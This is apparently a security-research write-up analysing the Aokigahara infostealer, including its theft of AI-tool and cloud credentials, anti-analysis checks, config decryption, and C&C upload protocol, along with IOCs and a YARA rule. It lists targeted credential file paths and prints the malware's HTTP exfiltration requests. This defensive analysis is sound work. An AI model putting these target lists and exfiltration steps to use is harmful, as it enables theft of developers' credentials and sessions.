aisessionsAI/developer-tool credentials and sessions: Claude Code/Desktop, Codex, ChatGPT Desktop, AWS credentials/SSO and Amazon Q, Cursor, Windsurf, Kiro, GitHub Copilot/VS Code, Gemini CLI, and JetBrains AI Assistant. It also queries Windows Credential Manager.
clipper/clipper_dropDrops a clipper component beneath C:\Microsoft\Vault using embedded data. The handler itself does not access the clipboard; it deploys the component responsible for clipboard manipulation. The targeted cryptocurrency wallets or address formats have not been confirmed.
ideThe ide handler collects local data from code editors and developer tools, including VS Code, Cursor, Windsurf, and JetBrains products. Notable targets include Git credential files, files under .ssh that may contain private keys, AWS/Azure/Google Cloud credential and configuration files, and GitHub Copilot storage. It passes matching file contents to the malware’s upload routine. If usable secrets are exposed, attackers could gain access to source code repositories, cloud resources, and other development services.


AI Data Theft

The more distinctive capability is the aisessions handler, which targets AI applications and development tools. These include Claude, ChatGPT Desktop, Codex, Cursor, Windsurf, GitHub Copilot, and Gemini CLI, alongside AWS credentials and single sign-on (SSO) data. This extends the malware’s collection beyond traditional personal accounts to authentication files, session data, and configuration files associated with AI-assisted development and cloud environments.

The paths below identify the handler’s collection targets. Depending on the application, these files may contain tokens, credentials, session data, or settings; not every targeted file necessarily contains authentication secrets.

TargetTargeted paths
Claude Code and Claude Desktop%s\.claude\credentials.json
%s\.claude.json
%s\Claude
%s\Packages\Claude_pzs8sxrjxfjjc\LocalCache\Roaming\Claude
Codex%s\.codex\auth.json
%s\.codex\config.toml
%s\.codex\.env
ChatGPT Desktop%s\Packages\OpenAI.ChatGPT-Desktop_2p2nqsd0c76g0\LocalCache\Roaming\ChatGPT
Cursor%s\Cursor\User\globalStorage\state.vscdb
%s\Cursor\User\globalStorage\storage.json
%s\Cursor - Insiders\User\globalStorage\state.vscdb
%s\Cursor - Insiders\User\globalStorage\storage.json
AWS CLI and SSO%s\.aws\credentials
%s\.aws\config
%s\.aws\sso\cache
Amazon Q%s\amazon-q\data.sqlite3
Kiro IDE%s\.aws\sso\cache\kiro-auth-token.json
%s\Kiro\User\globalStorage\kiro.kiroagent\profile.json
Windsurf%s\Windsurf\User\globalStorage\state.vscdb
%s\Windsurf - Next\User\globalStorage\state.vscdb
Codeium%s\.codeium\config.json
Visual Studio Code%s\Code\User\globalStorage\state.vscdb
%s\Code - Insiders\User\globalStorage\state.vscdb
GitHub Copilot%s\.copilot\config.json
%s\.copilot\hosts.json
Google Gemini CLI%s\gemini-cli-workspace-token.json
%s\.gemini-cli-workspace-master-key
%s\.gemini\.env
%s\.gemini\config.json
JetBrains AI Assistant%s\JetBrains\*
%s\JetBrains\%s\options\AIAssistantQuotaManager2.xml

Attackers target these files because they may contain authentication tokens, API keys, cloud credentials, and session data. If valid and usable, these secrets can allow attackers to access AI services or cloud environments without entering a password, potentially exposing private conversations, source code, and other sensitive information. Compromised accounts may also be used to consume paid services, generate unauthorized charges, or support further attacks.


Anti-Analysis

The infostealer includes several known anti-analysis checks, most of which run only when their corresponding configuration flags are enabled. The results of these checks determine whether the malware continues execution. It also dynamically resolves Windows API functions using hashes and uses control-flow flattening in some parts of the code, particularly around the configuration decryption routine.

When the language-check flag is enabled, the malware checks the system’s keyboard layout and Windows UI language. If either matches a language ID represented in the bitmask 0x6C0400C8601, the malware stops execution. The excluded language settings are listed below.

IDLanguage/region
0x0419Russian — Russia
0x0422Ukrainian — Ukraine
0x0423Belarusian — Belarus
0x0428Tajik — Tajikistan
0x042BArmenian — Armenia
0x042CAzerbaijani (Latin) — Azerbaijan
0x0437Georgian — Georgia
0x043FKazakh — Kazakhstan
0x0440Kyrgyz — Kyrgyzstan
0x0442Turkmen — Turkmenistan
0x0443Uzbek (Latin) — Uzbekistan

The second configuration flag enables analysis-environment checks, including anti-debugging, virtual machine detection, and sandbox detection. The anti-debugging checks include:

  • Inspection of debugger-related flags in the Process Environment Block (PEB).
  • Queries for the process debug port and debug object.
  • A debug-output string check.
  • Inspection of hardware breakpoint registers (DR0–DR3).

The malware checks for indicators of virtualized or analysis environments, including:

  • Hypervisor identifiers obtained through the CPUID instruction.
  • Registry entries and running processes associated with virtual machine guest tools.
  • Firmware and System Management BIOS (SMBIOS) fingerprints.
  • A low number of running processes.
  • Suspicious usernames and computer names.
  • Display characteristics and available hardware resources.

The malware also checks usernames and computer names against strings commonly associated with test or analysis environments. The inspected strings include:

"sandbox", "malware", "virus", "sample", "test", "user", "admin", "CurrentUser", "John", "Peter", "JOHN", "John Doe", "WDAGUtilityAccount"

Additional checks monitor cursor movement and the number of running processes. These signals may help the malware identify automated analysis environments.


Configuration

The encrypted configuration blob is stored in the .stgcfg section. It begins with a four-byte magic value STGC, followed by the ciphertext length, a 16-byte initialization vector (IV) used for AES-CBC decryption, and the encrypted configuration data.

struct EncryptedConfigBlob
{
    DWORD magic;              // Four-byte configuration magic
    DWORD ciphertext_len;     // Encrypted configuration size in bytes
    BYTE  iv[0x10];            // 16-byte AES-CBC initialization vector
    BYTE  ciphertext[];       // Encrypted configuration data
};

The AES IV is stored in the .stgcfg section, while the malware derives the AES key from a specific seed using the algorithm below. The routine produces a 32-byte key used to decrypt the configuration with AES-256-CBC.

"""
Author: @Tera0017/Check Point Research
"""
def decrypt_aes_key(seed: int, length: int = 32) -> bytes:
    key = bytearray()

    for i in range(length):
        seed ^= (seed >> (8 * (i & 3))) & 0xFF

        seed = (seed * 0x01000193) & 0xFFFFFFFF

        seed ^= seed >> 16

        key.append(seed & 0xFF)

    return bytes(key)

The decrypted configuration contains the command-and-control (C&C) URL, the server’s X25519 public key, a build ID, and a gate token used for communication. It also includes a module bitmask that controls which capabilities are executed, flags for language and analysis-environment checks, TLS certificate pinning settings, and up to three fallback URLs.

struct DecryptedConfig
{
    char  base_url[0x100];
    BYTE  server_x25519_public_key[0x20];
    char  build_id[0x20];
    char  gate_token[0x40];
    DWORD module_mask;

    BYTE  unk_184[0x404];

    BYTE  language_check;
    BYTE  analysis_environment_check;
    BYTE  unk_58A;
    
    BYTE  tls_certificate_sha256[0x20];
    BYTE  tls_pin_enabled;

    BYTE  fallback_urls[3][0x100];
    BYTE  fallback_count;
};

The malware uses the module_mask bitmask in its configuration to control which built-in capabilities are executed. Each entry in the module-dispatch table contains a function pointer and an associated feature mask. During dispatch, the malware performs a bitwise AND between module_mask and the entry’s feature mask. A nonzero result selects the corresponding function for execution.

All module implementations remain embedded in the executable, even when disabled in the configuration.


Network

The malware retrieves its C&C connection settings from the decrypted configuration. It uses the /gate path as the base for three endpoints that handle session establishment, stolen data uploads, and session completion.

PathDescription
/gate/handshakeEstablishes an upload session by sending the client’s raw 32-byte X25519 public key. The malware requires an HTTP 200 response before enabling uploads.
/gate/chunkUploads collected information packaged into ZIP archives and encrypted using AES-256-GCM. Each request body contains a 12-byte nonce, ciphertext, and a 16-byte authentication tag. Headers identify the upload label and sequence number.
/gate/completeSignals the end of the upload phase by sending the eight-byte marker COMPLETE. The malware expects an HTTP 200 response and subsequently performs local session cleanup. This notification does not independently establish that every upload succeeded.

The stealer generates an X25519 key pair consisting of a public key and a private key. It then computes a shared secret using its private key and the server_x25519_public_key stored in the decrypted configuration. The malware derives the communication encryption key from this shared secret using SHA-256 and the fixed string aokigahara. The resulting 32-byte key is used for AES-GCM encryption.

/handshake

The initial handshake registers the upload session with the C&C server and sends the client’s 32-byte X25519 public key in the request body. The request headers include the build ID, gate token, session ID, hardware identifier, and key exchange algorithm.

POST /gate/handshake HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: cae87a25
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
X-Session: ca47b44161834cb70a224dbe3d92a383
X-HWID: 69B506A1
X-KEX: x25519
Content-Length: 32
Host: $SERVER

$CLIENT_X25519_PUBLIC_KEY

/chunk

For each executed collection module, the malware uploads an AES-GCM-encrypted ZIP archive to /gate/chunk. The X-Chunk header identifies the type of stolen data, using module labels such as sysinfo, browsers, firefox, or aisessions. The X-Chunk-Index header identifies the upload’s sequence number, which is also included in the request body.

The malware allocates an upload buffer with a size equal to the ZIP archive’s size plus 28 bytes. The buffer begins with a 12-byte AES-GCM nonce, formed by combining the four-byte little-endian chunk index with eight randomly generated bytes. The encrypted ZIP archive follows the nonce, and a 16-byte AES-GCM authentication tag is appended at the end.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: sysinfo
X-Chunk-Index: 0
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 3233
Host: $SERVER

\x00\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

The next example uploads screenshot data with a chunk index of 1. The request body begins with \x01\x00\x00\x00.

POST /gate/chunk HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Chunk: screenshot
X-Chunk-Index: 1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Total: 19
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 10066
Host: $SERVER

\x01\x00\x00\x00$RANDOM_8_BYTES || $AES_GCM_CIPHERTEXT || $GCM_AUTH_TAG_16_BYTES

/complete

After uploading all ZIP archives, the malware sends a final HTTP POST request to /gate/complete on the C&C server. The request body contains the eight-byte message COMPLETE, indicating that the upload process has finished.

POST /gate/complete HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Microsoft-CryptoAPI/10.0
X-Build-ID: 4dbf818f
X-HWID: 69B506A1
X-Session: ca47b44161834cb70a224dbe3d92a383
X-Gate-Token: fc157583cc171c2c82419748390126839a0f8fba317a75f919e785aca3d98f8e
Content-Length: 8
Host: $SERVER

COMPLETE

The stealer appears to be under active development, with changes to its HTTP User-Agent string observed across versions. The latest analyzed samples use Microsoft-CryptoAPI/10.0 for communication with the server.


Conclusion

The malware retains the broad collection capabilities expected of an infostealer, but its dedicated targeting of AI applications and developer tools is particularly notable. By collecting authentication files, application storage, Git credentials, SSH-related files, and cloud configuration data, it reaches beyond traditional consumer accounts into AI-assisted development and cloud environments.

The targeting of AI sessions creates a potential route to monetization through unauthorized use of paid services or the resale of compromised access. It may also create opportunities for data extortion. Users can share sensitive business information, proprietary source code, and other confidential material with AI services. If stolen credentials or session tokens provide access to conversation histories or uploaded files, attackers could potentially threaten to disclose that information to demand payment.

The key finding is that AI application credentials and session data are part of this malware’s collection scope and should be treated as sensitive assets alongside browser sessions, cloud credentials, and developer keys.


Indicators of Compromise

DescriptionValue
Aokigahara SHA1007137599bc4d69ee952a5228b5fcb2c3b9a95a7
00d52c7e759d878f0d8a117502f6d854af13f007
04eddccb79db41e03a4ee8542e8a33d7f1d9fe18
057a2d1dedeb93b7765c455a9e0c469e7cbe4843
079ddf5cc7d6ca2e02f860f87d4d18c83db9d331
0b74ce90a39278fb97fe94f6306af71cbe679503
0c46ac5555cf8f305c1345a21d0802c52bf52cd8
0d8d0bad2e08856ba379e425e2e90e49506af631
0e76150cee3f2b89f0fbe39106ab2898db109f09
0f69792cb926a416766d47a30a05009c13be0d64
130f2710cf9863bdd6724e8912600505b6fb7ef2
133dc00ad81638e6b0a2f8f163b4d694ce477165
151d8013ca3ab3dab9cd37f4ed9870cc83e87a77
1701db4fa798b309cb25227408406dde4c69de8a
1835f1e0b1eda3dc4b39682ecad3eba88cbbc44e
18e041b5a0c668392ff4d036f3f9660c2698311e
1a6a6e08a01cc3f1455af2c4ecd59a3d7802cd7a
1a7248720f3ac79082841b006582f20799b314a9
1a97a18db74f2b6df984c9a188a79b4e65a06b81
1cb6ccfdcb277a0277729443d15f17a441fa0eda
1cb8dc11bdb8baf342b83079fb650cd6bb1b132d
1e072236f87cd914dc583ca2163460d656bfcfba
1e94d7f1d501724076fcf98459e14b68321d45f7
2045f165d737f2d43ba603d444dfa5d9e6f05805
211e45f306b84a82cfe736635c176a424e7479dc
21ef070e39f651118a804882374dc2dfa3e38666
2362a326070d83c167251873b389bd783781cf6c
241e37b8fc5ffeefbd1d89a82b74cf2d92b49eac
244371fc1642f0548b807b0a4a2e7ea5d7b4c82a
28099fc5a8cbbd40173f8ac0aded9044fdb4a598
2cdc77108c585d14b1567053b8f8a58ea78c255f
2f30b116ca3dc48ff5783c3bb7391d671866e27b
30737fa46f2ff93e33f45008cf306233954ea898
324e0fffc7977f8ff591993819123d33c2970953
3586eeaf3ffe2c3a4f1d005aee863b7aee7cc7bd
3696baa239c479f9f5103618214972890f1a473b
385e21a96687a33f79f9cab0627aec7218e1a8f4
38b2c29b46086b417181deb958e8b276a9d1fbf4
3aaeb49864108c92af50feeb5d9e3b3efaa39818
3c56a0c3c59a1425bfdcdffda9e8b308f478b147
426bea548a24f7f39c279770b5dd21fbed7f7328
4417d2645adb6e7e94959daf483f93058500840f
4485feb1385975ef13f08148cdc679f50fa0cc6d
456414c0acf463e06f95f5bd3d8355758fca6b53
4595d1875441ffb8c076856e366d1f4f5c74a679
48c6b66dc4b4d40d72b7460e6fd670b6c03d5d40
4b3a4ad0acd43fc8796147381074a98e8e576904
4c07021f8b0cdd3ca334a13f9af2bade9e699dc2
50060c0fc5fa8932671eb24b03b05d00c2e99951
51ae6cad54f33846f83a352457b9a44ef8b7a61d
59bbaca8a848215e7e4af7cec320432c51b0b812
5ef7eb755f1e3f6bf8586794777466a639057dcb
5fadf206dc163f63ebf66f984042b00c67121813
5fe11fbb89d33efa712ffb8590626bd88fecab8f
61a024f5a42a9a91b0a9871a1613c7fb3ef5613b
62dcc9ba2a5eee9dd941ad08766603c89a45869b
6393c0d3fb76f771a9418c2d152c621929ee002b
63cc5033532cd00bda3d4968b1257629e613505a
682dd6392004e1131b1aa3f2351a0bc7adb84d14
699c809a116106da40b3f641c11b0db34d0f1c5e
6a09fffca381f6624d2def1083284ca486306e7c
6c860007f8f49de8e9848b538bd7acdc6bfcdf55
6e073a196a9bfa01da418b5783c2395fb22c7ec9
6eb8f17dba69f6d25b7f5c529b25d199707b69e2
6f7d5935602c188b1e3066b4ab9aeef7b85a8ec2
70915fac07af4ad7acc1868fe05dc00b98206f0f
70d4007b11e56752fffb81f71c90987f4bb441fa
70e91644802053cfa68be6ec0f94207282ff27e4
7233a15327dc2f0cca0292e6352eebf6e6e090d8
72aa6417a19c45dabdd6c79087fb13c73ae7b823
7cc6c75fad93b2482a9c5f4522530007c72f99e0
82ebfc09c98bd211ff8b08efcd8ec8b9ce1fb4be
83b43ce0ee9881201451c0604fb5b792bd4581f5
86230c07e638b85bc8010df1aa9e33ca61fda4cc
89f296aef7988bdd59109e4263d0a31c886770aa
8b0cf62382f620bbbf5d176295d63ed522ab9c2c
8c3111a61fbf30e86b8206397ce3c0017e5ea509
8c4c1d8325adb463c34694ce3a5a851e97b81a6f
8d7a81119ce7be6eb452192f08fa2669228ff597
8d860ca64ce0cbf40871fd66b9e3a513e73cda90
8dc40b7208b8c0d95d1ab8dda9a56fff790b3ddd
8e9fd1274b77ff9726c4637d008a9d599c9d5f1e
9003310bf73dc337b8b50131f1c0724a79161aac
90c057dafefbee423e3014266218272d454a0aa3
912ed8ce7767f94f62de6a30fb8e9df7c0c512f7
9369e0e5eae22cff71b375ad285ea89471f25101
97c80e2d382e6e55f61702da3afb838fdec2f4f1
98c6649cc256dfadf1af939da46f037b05c0f2e5
99b28a20851a3ed29769a469f4dd31ebbb8a83de
9d424ce23753ffddc7b39477222123b0f2c33066
9f05045f5447d79c8c0d0f5cb589fd85c89620d3
9f20034441e78574aec7ad39842a342f939eaf6a
a00da33342a5ea5168d851a5c93109e07cf95c49
a2abdf1af38da9995a3b6672ce6c34e9e17c39a4
a4871f4a61faf74e1cceaffe26901f6076c9f37e
a63ded811d412cd0f859891b0c1f066b87bb1b80
a84148b4d408544325c20ee04299ae95c762b6a2
ad960d2abb1999a7260c5f498532a5bb8754c2a5
ae9d6b1a32a45b05edb920538e538a3d6a5fe439
af196456d2ebf9556ab239661922565e1bca9ac0
b335483800d35a29c25767c917725e24c21b0f2b
b33e59c598845d2547ddc7f654115df2284bb3ae
b36d0796e33f808eaeb33b33908327a410680c56
b4491f1919a88deedebe7fba56b593e7d6655458
b523d56d82485253f2e3619437c8398b7ee0f20d
b607025d3e06d1e8cffcd398c64871d7fcd92bf4
b6f0dfd3aa2fc7b8b2ad432c4a4276da23ceb46b
bab4c910e3c98085bf228519f346d071a75e44e3
bad339c5ad65808285b0e87498f2ea6f669417d9
c00aceaa40b38e48f662ac927bb86302934aaf96
c2e28ba5523c1f3a545a0b4a00a9d5e9c8ae7583
c323c59815082ac842f0bafcc01f537444e1cc5a
c5b50b5e14dfb5e028dfd88a4e4fb960dd650b52
c810acdf30bcdfc6e8021e7f62a3bcce0828c2ee
c8456bb71a74ed6305455c318295b8a39e9277f3
cbdff0df0dbdbc3c1845d208661dd75fd335ef93
cc12fcb9e5e6f7afde66f5c3452ed6e3cd6d5390
cc708ae3d7aa084279122c0db7250096f750d6b0
d34491da5aa159314129c0ff67f957d873703e35
d3c90275dd7279a791d717676be15789376f7aa7
d8bfff5139b54b6f98f07c051cd25d7aa465fec8
da986a3cb2ce67456ef374fbdd957d370a1a4367
daef439e1f110d624ce50fe0f9d9d24f61f7497b
db3332ce75676389b79cf3603d81cb231cb7c19c
db69c7c930fd5dc5097847979a965fdea4171d5b
dba5fef27b53ff479a4d7046cd1f22710081a16c
de9d152010819c8fb5cb611a4de920399e69cfeb
dfd1540c0185e74ec65acfcae1af7ba0da36c774
e052ff49190f54e0ffc52f7b3f7b5e7b9e121c4c
e3af6d9e3b35e5e04feda3cde96256dd3b099624
e4d93fa1b2d0fd26e8b877511ea33badb4628169
e5c43abd1c212b2f2a61d5e1cb7821406ca5dc8e
e8d09eb2e5857fde39b44aeb48078f5396809026
ec7cd90d56e5b73caa9d4eb0472bfee68d716121
eec7ece53d47e50940584f4dec684a24a78f42f2
f0b23f420659babb3a730b122259440091c53c12
f30e9730db0663f87c67a4b9a0cf12ee59b1621a
f35e6d2936c0f6dc26bdc68f6d1599cf438a863a
f4184e1bb61e19d190555c50fdb9d4591767bf53
f47d45eea1c42b066f8537baf72ffa266646bf62
f5993e64a18e7494b25a185de9f63a1df961b99a
f633fc9fd16dadca2725d3d54aaf13ea1a62174f
f6d950a5a8e5ba336f748b66745c6c1f189d3362
f8cf33b18e9932d285696fee40a7fee2a87341c2
f8dbc552c89bef758e4fcbd9942d06bc0c11db0a
f990bf4f05dfa4d86b3e3bc0a54f62e91b83f2c6
fa61cf3bebefd88ea9d06007a4b85791aa851c8a
fbe8708247fabd8a1bc3963db3911b5e77728669
fe6b7d6fa8c2424d14a0d465ab78aaf83db0d07b
ff402e64bc42222c8a4ee703123903c2a2117dd9
Aokigahara C&C2[.]26[.]252[.]48:8080
dfwioeiofwr[.]info
dobeqnesmot[.]cc
gate[.]dfwioeiofwr[.]info
hjazfioe[.]surf
kkeyyou[.]cc
neihite[.]cc
somelitersofblood[.]pw
Clipper8d6c86e0af7807f9b5baf15e9f076bb81e012515


Yara Rule

rule aokigahara
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "Aokigahara Stealer"
    strings:
        $str1 = "X-Chunk-Index: %u" ascii fullword
        $str2 = "X-Build-ID: %s" ascii fullword
        $str3 = "AKGRES" ascii fullword
        $str4 = "AISessions/" ascii
        $str5 = "\\\\.\\pipe\\akg_%lx_%lx" ascii fullword
        $str6 = "sysinfo\x00screenshot\x00clipboard"
        $str7 = "aokigahara" ascii fullword
        $str8 = "kamidere" ascii fullword
        $str9 = "/chunk" ascii fullword
        $str10 = "%s\\kmd_w_%d_%d.db" ascii fullword
        $str11 = ".ROBLOSECURITY" ascii fullword
        $code1 = {45 69 ED B1 79 37 9E 48 C1 EF 11 48 C1 EA 20 41 31 D6 41 31 C6 41 31 FD 45 89 77 04 45 89 6F 08}
        $code2 = {41 4B 47 52 45 53 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? EF BE AD DE }
    condition:
        uint16(0) == 0x5A4D and 3 of them
}

The post Infostealer riding the AI Train appeared first on Check Point Research.

  •  
❌